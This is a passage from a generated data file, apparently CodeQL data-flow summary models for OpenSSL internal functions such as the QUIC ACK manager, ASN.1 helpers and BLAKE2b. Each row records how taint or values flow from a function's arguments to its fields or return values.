"Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_a2i_ipadd", "(unsigned char *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_a2i_ipadd", "(unsigned char *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_get0_probe_request", "(OSSL_ACKM *)", "", "Argument[*0].Field[*pending_probe]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_ack_deadline", "(OSSL_ACKM *,int)", "", "Argument[*0].Field[*rx_ack_flush_deadline]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_ack_deadline", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_ack_frame", "(OSSL_ACKM *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_get_ack_frame", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_get_ack_frame", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_get_largest_acked", "(OSSL_ACKM *,int)", "", "Argument[*0].Field[*largest_acked_pkt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_largest_acked", "(OSSL_ACKM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_loss_detection_deadline", "(OSSL_ACKM *)", "", "Argument[*0].Field[*loss_detection_deadline]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_get_pto_duration", "(OSSL_ACKM *)", "", "Argument[*0].Field[*rx_max_ack_delay].Field[*t]", "ReturnValue.Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[**1]", "ReturnValue[*].Field[***now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*1]", "ReturnValue[*].Field[**now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*2]", "ReturnValue[*].Field[**statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*3]", "ReturnValue[*].Field[**cc_method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[*4]", "ReturnValue[*].Field[**cc_data]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[0]", "ReturnValue[*].Field[*now]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[1]", "ReturnValue[*].Field[*now_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[2]", "ReturnValue[*].Field[*statm]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[3]", "ReturnValue[*].Field[*cc_method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_new", "(..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *)", "", "Argument[4]", "ReturnValue[*].Field[*cc_data]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_pkt_space_discarded", "(OSSL_ACKM *,int)", "", "Argument[1]", "Argument[*0].Field[*rx_history]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_pkt_space_discarded", "(OSSL_ACKM *,int)", "", "Argument[1]", "Argument[*0].Field[*tx_history]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_rx_ack_frame", "(OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME)", "", "Argument[2]", "Argument[*0].Field[*largest_acked_pkt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_rx_ack_frame", "(OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME)", "", "Argument[2]", "Argument[*0].Field[*loss_time]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ackm_on_rx_packet", "(OSSL_ACKM *,const OSSL_ACKM_RX_PKT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_on_tx_packet", "(OSSL_ACKM *,OSSL_ACKM_TX_PKT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***ack_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**ack_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*ack_deadline_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_ack_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*ack_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***loss_detection_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**loss_detection_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*loss_detection_deadline_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_loss_detection_deadline_callback", "(OSSL_ACKM *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*loss_detection_deadline_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_rx_max_ack_delay", "(OSSL_ACKM *,OSSL_TIME)", "", "Argument[1]", "Argument[*0].Field[*rx_max_ack_delay]", "value", "dfc-generated"] + - ["", "", True, "ossl_ackm_set_tx_max_ack_delay", "(OSSL_ACKM *,OSSL_TIME)", "", "Argument[1]", "Argument[*0].Field[*tx_max_ack_delay]", "value", "dfc-generated"] + - ["", "", True, "ossl_adjust_domain_flags", "(uint64_t,uint64_t *)", "", "Argument[0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_algorithm_get1_first_name", "(const OSSL_ALGORITHM *)", "", "Argument[*0].Field[**algorithm_names]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_algorithm_get1_first_name", "(const OSSL_ALGORITHM *)", "", "Argument[*0].Field[*algorithm_names]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_encrypt", "(const unsigned char *,unsigned char *,const ARIA_KEY *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_encrypt", "(const unsigned char *,unsigned char *,const ARIA_KEY *)", "", "Argument[*2].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_encrypt", "(const unsigned char *,unsigned char *,const ARIA_KEY *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_set_decrypt_key", "(const unsigned char *,const int,ARIA_KEY *)", "", "Argument[1]", "Argument[*2].Field[*rounds]", "taint", "dfc-generated"] + - ["", "", True, "ossl_aria_set_encrypt_key", "(const unsigned char *,const int,ARIA_KEY *)", "", "Argument[1]", "Argument[*2].Field[*rounds]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_adb", "(const ASN1_VALUE *,const ASN1_TEMPLATE *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_adb", "(const ASN1_VALUE *,const ASN1_TEMPLATE *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*2].Field[**funcs].Field[*ref_offset]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_do_lock", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_init", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_restore", "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0].Field[**enc]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**0].Field[**enc]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)", "", "Argument[2]", "Argument[**0].Field[*len]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1].Field[*utype]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1].Field[*utype]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_item_digest_ex", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_digest_ex", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_primitive_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*1].Field[*size]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_primitive_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*2].Field[*utype]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_string_set_bits_left", "(ASN1_STRING *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[2]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[2]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_time_to_tm", "(tm *,const ASN1_TIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_utctime_to_tm", "(tm *,const ASN1_UTCTIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i_DSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[**0]", "ReturnValue[*].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i_DSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[**0]", "ReturnValue[*].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[**0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[*0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_bio", "(BIO *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*1].Field[*function]", "Argument[**3].Field[*core_get_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bio_init_core", "(OSSL_LIB_CTX *,const OSSL_DISPATCH *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[*0].Field[**corebiometh]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[*0].Field[*corebiometh]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[*1]", "ReturnValue[*].Field[**ptr]", "value", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[1]", "ReturnValue[*].Field[*ptr]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_final", "(unsigned char *,BLAKE2B_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[*0].Field[*params].Field[*digest_length]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[**2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_digest_length", "(BLAKE2B_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*digest_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_key_length", "(BLAKE2B_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*key_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_personal", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*personal]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_personal", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_personal", "(BLAKE2B_PARAM *,const uint8_t 